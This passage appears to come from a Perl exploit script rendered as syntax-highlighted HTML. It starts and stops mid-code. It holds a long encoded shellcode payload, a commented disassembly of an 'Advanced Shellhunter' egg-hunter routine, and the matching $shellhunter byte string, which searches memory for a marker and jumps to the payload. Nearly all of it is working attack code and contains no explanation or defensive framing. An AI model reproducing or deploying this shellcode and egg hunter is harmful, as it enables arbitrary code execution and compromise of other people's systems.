    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>03<span style="color: #000099; font-weight: bold;">\x</span>59<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>05<span style="color: #000099; font-weight: bold;">\x</span>e8<span style="color: #000099; font-weight: bold;">\x</span>f8<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>5a<span style="color: #000099; font-weight: bold;">\x</span>6a<span style="color: #000099; font-weight: bold;">\x</span>46&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>32&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>75<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>69<span style="color: #000099; font-weight: bold;">\x</span>69<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4b&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>62<span style="color: #000099; font-weight: bold;">\x</span>64<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>67<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>6e&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>73<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>73<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>52&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>6f<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>71<span style="color: #000099; font-weight: bold;">\x</span>6a<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>61<span style="color: #000099; font-weight: bold;">\x</span>59<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>36&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>6e<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>6e<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>61<span style="color: #000099; font-weight: bold;">\x</span>39<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4d&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>66<span style="color: #000099; font-weight: bold;">\x</span>67<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>71<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>6d<span style="color: #000099; font-weight: bold;">\x</span>67<span style="color: #000099; font-weight: bold;">\x</span>71<span style="color: #000099; font-weight: bold;">\x</span>39&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>52<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>62<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>6b&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>67<span style="color: #000099; font-weight: bold;">\x</span>71<span style="color: #000099; font-weight: bold;">\x</span>5a<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>66<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>56&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>6e<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>6f<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>67<span style="color: #000099; font-weight: bold;">\x</span>71<span style="color: #000099; font-weight: bold;">\x</span>7a<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>45&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>71<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>79<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>64<span style="color: #000099; font-weight: bold;">\x</span>73<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>49&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>71<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>73<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>49&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>62<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>66<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>45&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>6d<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>77<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>67<span style="color: #000099; font-weight: bold;">\x</span>79<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>6b&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>63<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>67<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>73&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6f<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>61<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>76<span style="color: #000099; font-weight: bold;">\x</span>71<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>36<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>6e<span style="color: #000099; font-weight: bold;">\x</span>63<span style="color: #000099; font-weight: bold;">\x</span>69&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>6f<span style="color: #000099; font-weight: bold;">\x</span>7a<span style="color: #000099; font-weight: bold;">\x</span>75<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>73<span style="color: #000099; font-weight: bold;">\x</span>6f<span style="color: #000099; font-weight: bold;">\x</span>31&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>79<span style="color: #000099; font-weight: bold;">\x</span>6e<span style="color: #000099; font-weight: bold;">\x</span>6f<span style="color: #000099; font-weight: bold;">\x</span>7a<span style="color: #000099; font-weight: bold;">\x</span>36<span style="color: #000099; font-weight: bold;">\x</span>6e<span style="color: #000099; font-weight: bold;">\x</span>66<span style="color: #000099; font-weight: bold;">\x</span>37<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>5a<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>52&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>63<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>46&quot;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #666666; font-style: italic;">#/----------------Advanced Shellhunter Code----------------\</span>
    <span style="color: #666666; font-style: italic;">#01D717DD   EB 1E            JMP SHORT 01D717FD            |</span>
    <span style="color: #666666; font-style: italic;">#01D717DF   83C4 64          ADD ESP,64                    |</span>
    <span style="color: #666666; font-style: italic;">#01D717E2   83C4 64          ADD ESP,64                    |</span>
    <span style="color: #666666; font-style: italic;">#01D717E5   83C4 64          ADD ESP,64                    |</span>
    <span style="color: #666666; font-style: italic;">#01D717E8   83C4 64          ADD ESP,64                    |</span>
    <span style="color: #666666; font-style: italic;">#01D717EB   83C4 64          ADD ESP,64                    |</span>
    <span style="color: #666666; font-style: italic;">#01D717EE   83C4 64          ADD ESP,64                    |</span>
    <span style="color: #666666; font-style: italic;">#01D717F1   83C4 64          ADD ESP,64                    |</span>
    <span style="color: #666666; font-style: italic;">#01D717F4   83C4 64          ADD ESP,64                    |</span>
    <span style="color: #666666; font-style: italic;">#01D717F7   83C4 64          ADD ESP,64                    |</span>
    <span style="color: #666666; font-style: italic;">#01D717FA   83C4 54          ADD ESP,54                    |</span>
    <span style="color: #666666; font-style: italic;">#01D717FD   33FF             XOR EDI,EDI                   |</span>
    <span style="color: #666666; font-style: italic;">#01D717FF   BA D0FAFD7F      MOV EDX,7FFDFAD0              |</span>
    <span style="color: #666666; font-style: italic;">#01D71804   8B3A             MOV EDI,DWORD PTR DS:[EDX]    |</span>
    <span style="color: #666666; font-style: italic;">#01D71806   EB 0E            JMP SHORT 01D71816            |</span>
    <span style="color: #666666; font-style: italic;">#01D71808   58               POP EAX                       |</span>
    <span style="color: #666666; font-style: italic;">#01D71809   83E8 3C          SUB EAX,3C                    |</span>
    <span style="color: #666666; font-style: italic;">#01D7180C   50               PUSH EAX                      |</span>
    <span style="color: #666666; font-style: italic;">#01D7180D   6A FF            PUSH -1                       |</span>
    <span style="color: #666666; font-style: italic;">#01D7180F   33DB             XOR EBX,EBX                   |</span>
    <span style="color: #666666; font-style: italic;">#01D71811   64:8923          MOV DWORD PTR FS:[EBX],ESP    |</span>
    <span style="color: #666666; font-style: italic;">#01D71814   EB 05            JMP SHORT 01D7181B            |</span>
    <span style="color: #666666; font-style: italic;">#01D71816   E8 EDFFFFFF      CALL 01D71808                 |</span>
    <span style="color: #666666; font-style: italic;">#01D7181B   B8 12121212      MOV EAX,12121212              |</span>
    <span style="color: #666666; font-style: italic;">#01D71820   6BC0 02          IMUL EAX,EAX,2                |</span>
    <span style="color: #666666; font-style: italic;">#01D71823   BA D0FAFD7F      MOV EDX,7FFDFAD0              |</span>
    <span style="color: #666666; font-style: italic;">#01D71828   83C7 20          ADD EDI,20                    |</span>
    <span style="color: #666666; font-style: italic;">#01D7182B   893A             MOV DWORD PTR DS:[EDX],EDI    |</span>
    <span style="color: #666666; font-style: italic;">#01D7182D   3907             CMP DWORD PTR DS:[EDI],EAX    |</span>
    <span style="color: #666666; font-style: italic;">#01D7182F  ^75 F7            JNZ SHORT 01D71828            |</span>
    <span style="color: #666666; font-style: italic;">#01D71831   83C7 04          ADD EDI,4                     |</span>
    <span style="color: #666666; font-style: italic;">#01D71834   6BC0 02          IMUL EAX,EAX,2                |</span>
    <span style="color: #666666; font-style: italic;">#01D71837   3907             CMP DWORD PTR DS:[EDI],EAX    |</span>
    <span style="color: #666666; font-style: italic;">#01D71839  ^75 E0            JNZ SHORT 01D7181B            |</span>
    <span style="color: #666666; font-style: italic;">#01D7183B   83C7 04          ADD EDI,4                     |</span>
    <span style="color: #666666; font-style: italic;">#01D7183E   B8 42424242      MOV EAX,42424242              |</span>
    <span style="color: #666666; font-style: italic;">#01D71843   3907             CMP DWORD PTR DS:[EDI],EAX    |</span>
    <span style="color: #666666; font-style: italic;">#01D71845  ^75 D4            JNZ SHORT 01D7181B            |</span>
    <span style="color: #666666; font-style: italic;">#01D71847   83C7 04          ADD EDI,4                     |</span>
    <span style="color: #666666; font-style: italic;">#01D7184A   FFE7             JMP EDI                       |</span>
    <span style="color: #666666; font-style: italic;">#\-----------------------End of Code----------------------/</span>
&nbsp;
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$shellhunter</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>1e&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>64&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>64&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>64&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>64&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>64&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>64&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>64&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>64&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>64&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>54&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>ff&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>ba<span style="color: #000099; font-weight: bold;">\x</span>d0<span style="color: #000099; font-weight: bold;">\x</span>fa<span style="color: #000099; font-weight: bold;">\x</span>fd<span style="color: #000099; font-weight: bold;">\x</span>7f&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>8b<span style="color: #000099; font-weight: bold;">\x</span>3a&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>0e&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>58&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>e8<span style="color: #000099; font-weight: bold;">\x</span>3c&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>50&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6a<span style="color: #000099; font-weight: bold;">\x</span>ff&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>db&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>64<span style="color: #000099; font-weight: bold;">\x</span>89<span style="color: #000099; font-weight: bold;">\x</span>23&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>05&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>e8<span style="color: #000099; font-weight: bold;">\x</span>ed<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>ff&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>b8<span style="color: #000099; font-weight: bold;">\x</span>12<span style="color: #000099; font-weight: bold;">\x</span>12<span style="color: #000099; font-weight: bold;">\x</span>12<span style="color: #000099; font-weight: bold;">\x</span>12&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>c0<span style="color: #000099; font-weight: bold;">\x</span>02&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>ba<span style="color: #000099; font-weight: bold;">\x</span>d0<span style="color: #000099; font-weight: bold;">\x</span>fa<span style="color: #000099; font-weight: bold;">\x</span>fd<span style="color: #000099; font-weight: bold;">\x</span>7f&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c7<span style="color: #000099; font-weight: bold;">\x</span>20&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>89<span style="color: #000099; font-weight: bold;">\x</span>3a&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>39<span style="color: #000099; font-weight: bold;">\x</span>07&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>75<span style="color: #000099; font-weight: bold;">\x</span>f7&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c7<span style="color: #000099; font-weight: bold;">\x</span>04&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>c0<span style="color: #000099; font-weight: bold;">\x</span>02&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>39<span style="color: #000099; font-weight: bold;">\x</span>07&quot;</span><span style="color: #339933;">.</span>
